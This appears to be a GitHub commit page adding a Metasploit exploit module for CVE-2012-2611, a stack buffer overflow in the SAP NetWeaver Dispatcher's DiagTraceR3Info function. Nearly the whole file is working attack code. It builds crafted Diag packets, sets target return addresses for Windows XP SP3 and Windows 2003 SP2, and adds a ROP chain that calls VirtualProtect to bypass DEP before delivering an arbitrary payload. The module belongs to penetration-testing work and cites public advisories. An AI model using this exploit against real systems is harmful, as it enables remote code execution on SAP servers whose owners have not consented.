Skip to content

Commit 943121d

Browse files
author
jvazquez-r7
committed
Added module for CVE-2012-2611
1 parent af211d9 commit 943121d

File tree

1 file changed

+182
-0
lines changed

1 file changed

+182
-0
lines changed
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher
20+
service. The overflow occurs in the DiagTraceR3Info() function and allows a remote
21+
attacker to execute arbitrary code by supplying a special crafted Diag packet. The
22+
Dispatcher service is only vulnerable if the Developer Traces have been configured
23+
at levels 2 or 3. The module has been succesfully tested on SAP Netweaver 7.0 EHP2
24+
SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
25+
},
26+
'Author' => [
27+
'Martin Gallo', # Vulnerability discovery and PoC
28+
'juan vazquez' # Metasploit module
29+
],
30+
'References' =>
31+
[
32+
[ 'OSVDB', '81759' ],
33+
[ 'CVE', '2012-2611' ],
34+
[ 'BID', '53424' ],
35+
[ 'EDB', '20705' ],
36+
[ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'],
37+
[ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']
38+
],
39+
'DefaultOptions' =>
40+
{
41+
'InitialAutoRunScript' => 'migrate -f',
42+
'EXITFUNC' => 'process'
43+
},
44+
'Payload' =>
45+
{
46+
'Space' => 4000,
47+
'BadChars' => "\x00",
48+
'DisableNops' => true,
49+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
50+
},
51+
'Platform' => 'win',
52+
'Targets' =>
53+
[
54+
# disp+work.exe version 7200.70.18.23869
55+
[
56+
'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',
57+
{
58+
'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE
59+
}
60+
],
61+
[
62+
'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',
63+
{
64+
'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll
65+
}
66+
]
67+
],
68+
'Privileged' => false,
69+
'DefaultTarget' => 1,
70+
'DisclosureDate' => 'May 8 2012'))
71+
72+
register_options([Opt::RPORT(3200)], self.class)
73+
74+
end
75+
76+
def create_rop_chain()
77+
# ROP chains provided by Corelan.be
78+
# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
79+
rop_gadgets =
80+
[
81+
0x77bb2563, # POP EAX # RETN
82+
0x77ba1114, # <- *&VirtualProtect()
83+
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
84+
0x41414141, #junk
85+
0x77bb0c86, # XCHG EAX,ESI # RETN
86+
0x77bc9801, # POP EBP # RETN
87+
0x77be2265, # ptr to 'push esp # ret'
88+
0x77bb2563, # POP EAX # RETN
89+
0x03C0A40F,
90+
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
91+
0x77bb48d3, # POP EBX, RET
92+
0x77bf21e0, # .data
93+
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
94+
0x77bbfc02, # POP ECX # RETN
95+
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
96+
0x77bd8c04, # POP EDI # RETN
97+
0x77bd8c05, # ROP NOP (-> edi)
98+
0x77bb2563, # POP EAX # RETN
99+
0x03c0984f,
100+
0x77bdd441, # SUB EAX, 03c0940f
101+
0x77bb8285, # XCHG EAX,EDX # RETN
102+
0x77bb2563, # POP EAX # RETN
103+
0x90909090,#nop
104+
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
105+
].pack("V*")
106+
107+
return rop_gadgets
108+
end
109+
110+
def exploit
111+
112+
peer = "#{rhost}:#{rport}"
113+
114+
connect
115+
116+
# initialize
117+
diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
118+
user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
119+
support_data = "\x10\x04\x0b\x00\x20"
120+
support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
121+
support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
122+
dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff"
123+
dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
124+
dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")
125+
dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20"
126+
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
127+
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
128+
dpheader << "terminalXXXXXXX"
129+
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20"
130+
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00"
131+
dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00"
132+
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
133+
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
134+
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
135+
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00"
136+
pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")
137+
pkt << dpheader
138+
pkt << diagheader
139+
pkt << user_connect
140+
pkt << support_data
141+
print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")
142+
sock.put(pkt)
143+
res = sock.get_once(-1)
144+
145+
if not res
146+
print_error("#{peer} - The connection with the Dispatcher has not been initialized")
147+
return
148+
end
149+
150+
# send message
151+
if target.name =~ /Windows XP SP3/
152+
crash = make_nops(112)
153+
crash << "\xeb\x02" # jmp over call pointer
154+
crash << [target.ret].pack("v")
155+
crash << make_nops(10) * 200
156+
crash << payload.encoded
157+
else # Windows 2003
158+
crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack
159+
crash << rand_text(2) # padding
160+
crash << [0x77bd7d82].pack("V") * 55 # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt
161+
crash << [0x77bdf0da].pack("V") # pop eax # ret from msvcrt
162+
crash << [target.ret].pack("V") # stackpivot
163+
crash << create_rop_chain
164+
crash << payload.encoded
165+
end
166+
167+
print_status("#{peer} - Sending crafted message")
168+
message = "\x10\x06\x20" + [crash.length].pack("n") + crash
169+
diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
170+
step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
171+
eom = "\x0c"
172+
pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")
173+
pkt << diagheader
174+
pkt << step
175+
pkt << message
176+
pkt << eom
177+
sock.put(pkt)
178+
179+
disconnect
180+
end
181+
182+
end

0 commit comments

Comments
 (0)